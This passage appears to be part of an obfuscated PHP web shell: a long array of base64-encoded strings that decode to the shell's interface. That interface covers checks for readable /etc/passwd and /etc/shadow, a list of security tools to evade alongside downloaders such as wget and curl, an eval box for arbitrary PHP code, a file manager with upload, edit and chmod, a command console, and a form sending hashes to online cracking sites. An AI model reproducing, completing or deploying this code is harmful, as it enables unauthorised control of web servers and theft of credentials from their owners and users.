mU+','U2VydmVyIHNvZnR3YXJl','U0VSVkVSX1NPRlRXQVJF','TG9hZGVkIEFwYWNoZSBtb2R1bGVz','LCA=','RGlzYWJsZWQgUEhQIEZ1bmN0aW9ucw==','ZGlzYWJsZV9mdW5jdGlvbnM=','ZGlzYWJsZV9mdW5jdGlvbnM=','bm9uZQ==','T3BlbiBiYXNlIGRpcg==','b3Blbl9iYXNlZGly','U2FmZSBtb2RlIGV4ZWMgZGly','c2FmZV9tb2RlX2V4ZWNfZGly','U2FmZSBtb2RlIGluY2x1ZGUgZGly','c2FmZV9tb2RlX2luY2x1ZGVfZGly','Y1VSTCBzdXBwb3J0','bm8=','KQ==','U3VwcG9ydGVkIGRhdGFiYXNlcw==','LCA=','PGJyPg==','b3M=','bml4','UmVhZGFibGUgL2V0Yy9wYXNzd2Q=','L2V0Yy9wYXNzd2Q=','eWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzVG9vbHMiLCAiL2V0Yy8iLCAicGFzc3dkIiknPlt2aWV3XTwvYT4=','bm8=','UmVhZGFibGUgL2V0Yy9zaGFkb3c=','L2V0Yy9zaGFkb3c=','eWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzVG9vbHMiLCAiL2V0Yy8iLCAic2hhZG93IiknPlt2aWV3XTwvYT4=','bm8=','T1MgdmVyc2lvbg==','L3Byb2MvdmVyc2lvbg==','RGlzdHIgbmFtZQ==','L2V0Yy9pc3N1ZS5uZXQ=','c2FmZV9tb2Rl','Z2Nj','bGNj','Y2M=','bGQ=','bWFrZQ==','cGhw','cGVybA==','cHl0aG9u','cnVieQ==','dGFy','Z3ppcA==','YnppcA==','YnppcDI=','bmM=','bG9jYXRl','c3VpZHBlcmw=','a2F2','bm9kMzI=','YmRjb3JlZA==','dXZzY2Fu','c2F2','ZHJ3ZWJk','Y2xhbWQ=','cmtodW50ZXI=','Y2hrcm9vdGtpdA==','aXB0YWJsZXM=','aXBmdw==','dHJpcHdpcmU=','c2hpZWxkY2M=','cG9ydHNlbnRyeQ==','c25vcnQ=','b3NzZWM=','bGlkc2FkbQ==','dGNwbG9kZw==','c3hpZA==','bG9nY2hlY2s=','bG9nd2F0Y2g=','c3lzbWFzaw==','em1ic2NhcA==','c2F3bWlsbA==','d29ybXNjYW4=','bmluamE=','d2dldA==','ZmV0Y2g=','bHlueA==','bGlua3M=','Y3VybA==','Z2V0','bHdwLW1pcnJvcg==','PGJyPg==','VXNlcmZ1bA==','LCA=','RGFuZ2Vy','LCA=','RG93bmxvYWRlcnM=','LCA=','PGJyLz4=','SEREIHNwYWNl','ZGYgLWg=','SG9zdHM=','L2V0Yy9ob3N0cw==','PGJyLz48c3Bhbj5wb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4=','cDI=','cDM=','cDI=','cDM=','','cDI=','cDM=','cDI=','Og==','Cg==','PGJyLz4=','VXNlcnM=','T1MgVmVyc2lvbg==','dmVy','QWNjb3VudCBTZXR0aW5ncw==','bmV0IGFjY291bnRz','VXNlciBBY2NvdW50cw==','bmV0IHVzZXI=','PC9kaXY+','YWpheA==','SFRUUF9IT1NU','YWpheA==','ZXY=','YQ==','bA==','cDE=','ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0n','Cg0JXCcA','JzsK','Cg==','YWpheA==','cDE=','SFRUUF9IT1NU','YWpheA==','cDI=','cDI=','aW5mbw==','PGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPg==','IShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVU=','IXRkLCB0aCB7KC4qKX0hbXNpVQ==','ITxpbWdbXj5dKz4hbXNpVQ==','','LmUsIC52LCAuaCwgLmggdGggeyQxfQ==','','PGgx','PGgy','PC9kaXY+PGJyPg==','PGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKCdQaHAnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKCdQaHAnLG51bGwsdGhpcy5jb2RlLnZhbHVlLCcnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+','cDE=','cDE=','','PC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPg==','IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xIA==','SFRUUF9IT1NU','YWpheA==','Y2hlY2tlZA==','','PiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9Ig==','cDE=','ZGlzcGxheTpub25lOw==','','bWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+','cDE=','ZXY=','YQ==','bA==','cDE=','PC9wcmU+PC9kaXY+','Zg==','Zg==','Zg==','cDE=','cDE=','dXBsb2FkRmlsZQ==','Zg==','dG1wX25hbWU=','Zg==','bmFtZQ==','Q2FuJ3QgdXBsb2FkIGZpbGUh','bWtkaXI=','cDI=','Q2FuJ3QgY3JlYXRlIG5ldyBkaXI=','ZGVsZXRl','Lw==','Lw==','Li4=','Lg==','ZGly','Zg==','Zg==','Li4=','cGFzdGU=','YWN0','Y29weQ==','Lg==','Li4=','Lw==','Lw==','Zg==','Yw==','Y3dk','YWN0','bW92ZQ==','Lg==','Li4=','Lw==','Lw==','Zg==','Yw==','Y3dk','YWN0','emlw','WmlwQXJjaGl2ZQ==','cDI=','Yw==','Zg==','Li4=','Yw==','Yw==','Yw==','Lw==','Y3dk','YWN0','dW56aXA=','WmlwQXJjaGl2ZQ==','Zg==','Yw==','Y3dk','YWN0','dGFy','Yw==','Zg==','ZXNjYXBlc2hlbGxhcmc=','Zg==','dGFyIGNmenYg','cDI=','IA==','IA==','Zg==','Y3dk','Zg==','Zg==','','cDE=','YWN0','cDE=','Zg==','Zg==','Yw==','Yw==','PGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+','Yw==','Yw==','Y3dk','Q2FuJ3Qgb3BlbiB0aGlzIGZvbGRlciE=','bmFtZQ==','cDE=','IXNfKFtBLXpdKylfKFxkezF9KSE=','cDE=','PHNjcmlwdD4NCglmdW5jdGlvbiBzYSgpIHsNCgkJZm9yKGk9MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykNCgkJCWlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQ0KCQkJCWQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsNCgl9DQo8L3NjcmlwdD4NCjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+DQo8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzTWFuIixudWxsLCJzX25hbWVf','IiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLG51bGwsInNfc2l6ZV8=','IiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNNYW4iLG51bGwsInNfbW9kaWZ5Xw==','IiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzTWFuIixudWxsLCJzX3Blcm1zXw==','IiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+','bmFtZQ==','cGF0aA==','Y3dk','bW9kaWZ5','WS1tLWQgSDppOnM=','Y3dk','cGVybXM=','Y3dk','c2l6ZQ==','Y3dk','b3duZXI=','bmFtZQ==','bmFtZQ==','Z3JvdXA=','bmFtZQ==','bmFtZQ==','Y3dk','dHlwZQ==','ZmlsZQ==','Y3dk','dHlwZQ==','bGluaw==','bGluaw==','cGF0aA==','Y3dk','Lg==','dHlwZQ==','ZGly','c29ydA==','c29ydA==','c2l6ZQ==','c29ydA==','c29ydA==','c29ydA==','c2l6ZQ==','c2l6ZQ==','c29ydA==','PHRy','IGNsYXNzPWwx','','Pjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSI=','bmFtZQ==','IiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0i','dHlwZQ==','ZmlsZQ==','ZygnRmlsZXNUb29scycsbnVsbCwn','bmFtZQ==','JywgJ3ZpZXcnKSI+','bmFtZQ==','ZygnRmlsZXNNYW4nLCc=','cGF0aA==','Jyk7IiA=','bGluaw==','','bGluaw==','PjxiPlsg','bmFtZQ==','IF08L2I+','PC9hPjwvdGQ+PHRkPg==','dHlwZQ==','ZmlsZQ==','c2l6ZQ==','dHlwZQ==','PC90ZD48dGQ+','bW9kaWZ5','PC90ZD48dGQ+','b3duZXI=','Lw==','Z3JvdXA=','PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJw==','bmFtZQ==','JywnY2htb2QnKSI+','cGVybXM=','PC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZygnRmlsZXNUb29scycsbnVsbCwn','bmFtZQ==','JywgJ3JlbmFtZScpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc1Rvb2xzJyxudWxsLCc=','bmFtZQ==','JywgJ3RvdWNoJykiPlQ8L2E+','dHlwZQ==','ZmlsZQ==','IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsJw==','bmFtZQ==','JywgJ2VkaXQnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZygnRmlsZXNUb29scycsbnVsbCwn','bmFtZQ==','JywgJ2Rvd25sb2FkJykiPkQ8L2E+','','PC90ZD48L3RyPg==','PHRyPjx0ZCBjb2xzcGFuPTc+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9Jw==','Y3dk','Jz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc=','Y2hhcnNldA==','Y2hhcnNldA==','','Jz4NCgk8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+','WmlwQXJjaGl2ZQ==','PG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+','PG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPg==','YWN0','Zg==','PG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4=','PC9zZWxlY3Q+Jm5ic3A7','YWN0','Zg==','YWN0','emlw','YWN0','dGFy','ZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3h4c18=','WW1kX0hpcw==','Lg==','YWN0','emlw','emlw','dGFyLmd6','Jz4mbmJzcDs=','PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+','','','JTAyWA==','','JQ==','QmFzZTY0IGVuY29kZQ==','YmFzZTY0X2VuY29kZQ==','QmFzZTY0IGRlY29kZQ==','YmFzZTY0X2RlY29kZQ==','VXJsIGVuY29kZQ==','dXJsZW5jb2Rl','VXJsIGRlY29kZQ==','dXJsZGVjb2Rl','RnVsbCB1cmxlbmNvZGU=','ZnVsbF91cmxlbmNvZGU=','bWQ1IGhhc2g=','bWQ1','c2hhMSBoYXNo','c2hhMQ==','Y3J5cHQ=','Y3J5cHQ=','Q1JDMzI=','Y3JjMzI=','QVNDSUkgdG8gSEVY','YXNjaWkyaGV4','SEVYIHRvIEFTQ0lJ','aGV4MmFzY2lp','SEVYIHRvIERFQw==','aGV4ZGVj','SEVYIHRvIEJJTg==','aGV4MmJpbg==','REVDIHRvIEhFWA==','ZGVjaGV4','REVDIHRvIEJJTg==','ZGVjYmlu','QklOIHRvIEhFWA==','YmluaGV4','QklOIHRvIERFQw==','YmluZGVj','U3RyaW5nIHRvIGxvd2VyIGNhc2U=','c3RydG9sb3dlcg==','U3RyaW5nIHRvIHVwcGVyIGNhc2U=','c3RydG91cHBlcg==','SHRtbHNwZWNpYWxjaGFycw==','aHRtbHNwZWNpYWxjaGFycw==','U3RyaW5nIGxlbmd0aA==','c3RybGVu','YWpheA==','SFRUUF9IT1NU','YWpheA==','cDE=','cDE=','cDI=','ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0n','Cg0JXCcA','JzsK','Cg==','YWpheA==','cDE=','SFRUUF9IT1NU','YWpheA==','PGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg==','PGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPg==','PG9wdGlvbiB2YWx1ZT0n','Jz4=','PC9vcHRpb24+','PC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xIA==','SFRUUF9IT1NU','YWpheA==','Y2hlY2tlZA==','','PiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+','cDE=','','cDI=','PC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0n','cDE=','ZGlzcGxheTpub25lOw==','','bWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPg==','cDE=','cDE=','cDE=','cDI=','PC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+DQoJCQk8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0n','Y3dk','JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPg0KCQkJPC90YWJsZT48L2Zvcm0+','Lw==','Lw==','cDM=','Kg==','cDI=','cDI=','PGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNUb29scyIsbnVsbCwi','IiwgInZpZXciLCIiKSc+','PC9hPjxicj4=','cDM=','Yw==','PC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3QnIHZhbHVlPSdmaW5kJy8+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNraW5nLnJ1JyBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2NyYWNrZm9yLm1lJyBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+DQoJCTwvZm9ybT48L2Rpdj4=','cDE=','cDE=','cDE=','cDI=','ZG93bmxvYWQ=','cDE=','cDE=','b2JfZ3poYW5kbGVy','Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9','cDE=','cDE=','Q29udGVudC1UeXBlOiA=','Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0=','cDE=','cg==','cDI=','bWtmaWxl','cDE=','cDE=','dw==','cDI=','ZWRpdA==','PGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4=','cDE=','RmlsZSBub3QgZXhpc3Rz','bmFtZQ==','cDE=','bmFtZQ==','cDE=','PHNwYW4+TmFtZTo8L3NwYW4+IA==','cDE=','IDxzcGFuPlNpemU6PC9zcGFuPiA=','cDE=','cDE=','LQ==','IDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiA=','cDE=','IDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4g','bmFtZQ==','Lw==','bmFtZQ==','PGJyPg==','PHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiA=','WS1tLWQgSDppOnM=','cDE=','IDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4g','WS1tLWQgSDppOnM=','cDE=','IDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4g','WS1tLWQgSDppOnM=','cDE=','PGJyPjxicj4=','cDI=','cDI=','dmlldw==','cDE=','Vmlldw==','SGlnaGxpZ2h0','RG93bmxvYWQ=','SGV4ZHVtcA==','RWRpdA==','Q2htb2Q=','UmVuYW1l','VG91Y2g=','Q2htb2Q=','UmVuYW1l','VG91Y2g=','PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLCc=','cDE=','Jywn','JykiPg==','cDI=','PGI+WyA=','IF08L2I+','PC9hPiA=','PGJyPjxicj4=','cDI=','dmlldw==','PHByZSBjbGFzcz1tbDE+','cDE=','cg==','PC9wcmU+','aGlnaGxpZ2h0','cDE=','PGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4=','cDE=','PHNwYW4g','PC9zcGFuPg==','PGZvbnQg','PC9mb250Pg==','PC9kaXY+','Y2htb2Q=','cDM=','cDM=','cDM=','cDM=','cDE=','Q2FuJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pg==','PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLCc=','cDE=','JyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0i','JW8=','cDE=','Ij48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+','ZWRpdA==','cDE=','RmlsZSBpc24ndCB3cml0ZWFibGU=','cDM=','cDE=','cDM=','cDM=','cDE=','dw==','cDM=','U2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pg==','cDE=','PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLCc=','cDE=','JyxudWxsLCcxJyt0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4=','cDE=','cg==','PC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+','aGV4ZHVtcA==','cDE=','MDAwMDAwMDA8YnI+','','','JTAyWA==','IA==','IA==','IA==','IA==','IA==','JTA4WA==','PGJyPg==','PGJyPg==','Cg==','PHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPg==','PC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPg==','PC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+','PC9wcmU+PC90ZD48L3RyPjwvdGFibGU+','cmVuYW1l','cDM=','cDE=','cDM=','Q2FuJ3QgcmVuYW1lITxicj4=','PHNjcmlwdD5nKG51bGwsbnVsbCwi','cDM=','IixudWxsLCIiKTwvc2NyaXB0Pg==','PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLCc=','cDE=','JyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9Ig==','cDE=','Ij48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+','dG91Y2g=','cDM=','cDM=','cDE=','RmFpbCE=','VG91Y2hlZCE=','QmFkIHRpbWUgZm9ybWF0IQ==','PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLCc=','cDE=','JyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0i','WS1tLWQgSDppOnM=','cDE=','Ij48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+','PC9kaXY+','cDE=','cDI=','SFRUUF9IT1NU','c3RkZXJyX3RvX291dA==','cDE=','IDI+JjE=','cDE=','SFRUUF9IT1NU','c3RkZXJyX3RvX291dA==','YWpheA==','SFRUUF9IT1NU','YWpheA==','ZC5jZi5jbWQudmFsdWU9Jyc7Cg==','Y2hhcnNldA==','VVRGLTg=','CiQg','cDE=','Cg==','cDE=','Cg0JXCcA','IS4qY2RccysoW147XSspJCE=','cDE=','Y3dk','Y189Jw==','Y3dk','Jzs=','ZC5jZi5vdXRwdXQudmFsdWUrPSc=','Jzs=','ZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0Ow==','Cg==','YWpheA==','cDE=','SFRUUF9IT1NU','YWpheA==','PHNjcmlwdD4NCmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7DQp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7DQp2YXIgY3VyID0gMDsNCmZ1bmN0aW9uIGtwKGUpIHsNCgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsNCglpZihuID09IDM4KSB7DQoJCWN1ci0tOw0KCQlpZihjdXI+PTApDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1cisrOw0KCX0gZWxzZSBpZihuID09IDQwKSB7DQoJCWN1cisrOw0KCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyLS07DQoJfQ0KfQ0KZnVuY3Rpb24gYWRkKGNtZCkgew0KCWNtZHMucG9wKCk7DQoJY21kcy5wdXNoKGNtZCk7DQoJY21kcy5wdXNoKCcnKTsNCgljdXIgPSBjbWRzLmxlbmd0aC0xOw0KfQ0KPC9zY3JpcHQ+','PGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09J2NsZWFyJyl7ZC5jZi5vdXRwdXQudmFsdWU9Jyc7ZC5jZi5jbWQudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTonJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6JycpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPg==','YWxpYXNlcw==','','PG9wdGdyb3VwIGxhYmVsPSIt','LSI+PC9vcHRncm91cD4=','PG9wdGlvbiB2YWx1ZT0i','Ij4=','PC9vcHRpb24+','PC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52Y